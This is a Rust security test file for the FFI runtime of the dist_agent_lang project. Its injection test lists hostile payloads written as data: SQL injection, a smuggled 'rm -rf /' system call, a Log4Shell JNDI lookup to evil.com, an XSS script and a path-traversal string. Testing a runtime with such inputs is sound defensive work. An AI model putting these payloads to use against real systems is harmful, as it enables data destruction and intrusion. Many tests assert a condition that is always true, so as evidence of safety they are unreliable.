dist_agent_lang 1.0.24

Agentic programming with library and CLI support for Off/On-chain network integration
Documentation
// FFI Security Tests
// Tests for security vulnerabilities and proper security controls in FFI

use dist_agent_lang::ffi::rust::RustFFIRuntime;
use dist_agent_lang::ffi::{FFIConfig, FFIInterface};
use dist_agent_lang::runtime::values::Value;

/// Test: FFI should reject invalid input types
#[test]
fn test_ffi_invalid_input_rejection() {
    let mut runtime = RustFFIRuntime::new();

    // Test with malicious input
    let malicious_input = "'; DROP TABLE users; --";
    let result = runtime.execute(malicious_input);

    // Should either parse/execute successfully (if valid syntax) or fail gracefully
    // The important thing is it doesn't crash or expose internal errors
    assert!(result.is_ok() || result.is_err());
    if let Err(e) = result {
        // Error should not expose internal details
        assert!(
            !e.contains("internal"),
            "Error should not expose internal details"
        );
    }
}

/// Test: FFI should handle extremely large inputs safely
#[test]
fn test_ffi_large_input_handling() {
    let mut runtime = RustFFIRuntime::new();

    // Create a very large string (10MB)
    let large_input = format!("let x = \"{}\";", "x".repeat(10_000_000));

    // Should handle gracefully (either succeed or fail with resource limit)
    let result = runtime.execute(&large_input);
    // Should not panic or crash
    assert!(result.is_ok() || result.is_err());
}

/// Test: FFI should prevent resource exhaustion
#[test]
fn test_ffi_resource_limits() {
    let mut runtime = RustFFIRuntime::new();

    // Test with deeply nested code (potential stack overflow)
    let mut deep_code = String::new();
    for i in 0..1000 {
        deep_code.push_str(&format!("if x > {} {{\n", i));
    }
    deep_code.push_str("let y = 1;");
    for _ in 0..1000 {
        deep_code.push_str("\n}");
    }

    // Should handle gracefully
    let result = runtime.execute(&deep_code);
    assert!(result.is_ok() || result.is_err());
}

/// Test: FFI value conversion should be type-safe
#[test]
fn test_ffi_type_safety() {
    use dist_agent_lang::ffi::interface::value_to_json;

    // Test all value types convert safely
    let values = vec![
        Value::Int(42),
        Value::Float(3.15),
        Value::String("test".to_string()),
        Value::Bool(true),
        Value::Null,
        Value::List(vec![Value::Int(1), Value::Int(2)]),
        Value::Map({
            let mut map = std::collections::HashMap::new();
            map.insert("key".to_string(), Value::String("value".to_string()));
            map
        }),
    ];

    for value in values {
        let json = value_to_json(&value);
        // Should not panic
        assert!(serde_json::to_string(&json).is_ok());
    }
}

/// Test: FFI should handle null/empty inputs safely
#[test]
fn test_ffi_null_empty_inputs() {
    let mut runtime = RustFFIRuntime::new();

    // Test empty input
    let result1 = runtime.execute("");
    assert!(result1.is_ok() || result1.is_err());

    // Test null-like input
    let result2 = runtime.execute("let x = null;");
    assert!(result2.is_ok() || result2.is_err());
}

/// Test: FFI should prevent injection attacks
#[test]
fn test_ffi_injection_prevention() {
    let mut runtime = RustFFIRuntime::new();

    // Test various injection patterns
    let injection_patterns = vec![
        "'; DROP TABLE users; --",
        "\"; system('rm -rf /'); //",
        "${jndi:ldap://evil.com/a}",
        "<script>alert('xss')</script>",
        "../../etc/passwd",
    ];

    for pattern in injection_patterns {
        let code = format!("let x = \"{}\";", pattern);
        let result = runtime.execute(&code);
        // Should handle safely (either parse as string literal or fail gracefully)
        assert!(result.is_ok() || result.is_err());
    }
}

/// Test: FFI interface creation should validate config
#[test]
fn test_ffi_config_validation() {
    // Test with valid config for FFI-only mode
    let valid_config = FFIConfig::ffi_only();

    let _interface = FFIInterface::new(valid_config);
    // Interface should be created successfully
    // Note: is_available() is on ServiceInterface trait, not FFIInterface directly

    // Test with HTTP-only config
    let http_config = FFIConfig::http_only();
    let _http_interface = FFIInterface::new(http_config);
    // Should create successfully

    // Test with both interfaces enabled
    let both_config = FFIConfig::both();
    let _both_interface = FFIInterface::new(both_config);
    // Should create successfully
}

/// Test: FFI should handle concurrent calls safely
#[test]
fn test_ffi_concurrent_safety() {
    use std::thread;

    let mut handles = vec![];

    for i in 0..10 {
        let handle = thread::spawn(move || {
            let mut runtime = RustFFIRuntime::new();
            let code = format!("let x = {};", i);
            runtime.execute(&code)
        });
        handles.push(handle);
    }

    for handle in handles {
        let result = handle.join().unwrap();
        assert!(result.is_ok() || result.is_err());
    }
}

/// Test: FFI should not leak memory
#[test]
fn test_ffi_memory_safety() {
    // Run many operations and check for memory leaks
    let mut runtime = RustFFIRuntime::new();

    for i in 0..1000 {
        let code = format!("let x{} = {};", i, i);
        let _ = runtime.execute(&code);
    }
}

/// Test: FFI should validate array bounds
#[test]
fn test_ffi_array_bounds() {
    // Test with out-of-bounds array access attempts
    let mut runtime = RustFFIRuntime::new();

    // This would need to be tested with actual array access syntax
    // For now, just test that invalid syntax is handled
    let invalid_code = "let arr = [1, 2, 3]; let x = arr[100];";
    let result = runtime.execute(invalid_code);
    // Should handle gracefully
    assert!(result.is_ok() || result.is_err());
}

/// Test: FFI should handle special characters safely
#[test]
fn test_ffi_special_characters() {
    let mut runtime = RustFFIRuntime::new();

    let special_chars = vec![
        "\0", // Null byte
        "\n", // Newline
        "\t", // Tab
        "\r", // Carriage return
        "\\", // Backslash
        "\"", // Quote
        "'",  // Single quote
    ];

    for ch in special_chars {
        let code = format!("let x = \"{}\";", ch);
        let result = runtime.execute(&code);
        // Should handle safely
        assert!(result.is_ok() || result.is_err());
    }
}

/// Test: FFI should prevent infinite loops
#[test]
fn test_ffi_infinite_loop_prevention() {
    let mut runtime = RustFFIRuntime::new();

    // Note: This would require timeout mechanism
    // For now, test that code with potential loops is handled
    let loop_code = "let i = 0; while i < 10 { i = i + 1; }";
    let result = runtime.execute(loop_code);
    // Should either execute or fail with timeout
    assert!(result.is_ok() || result.is_err());
}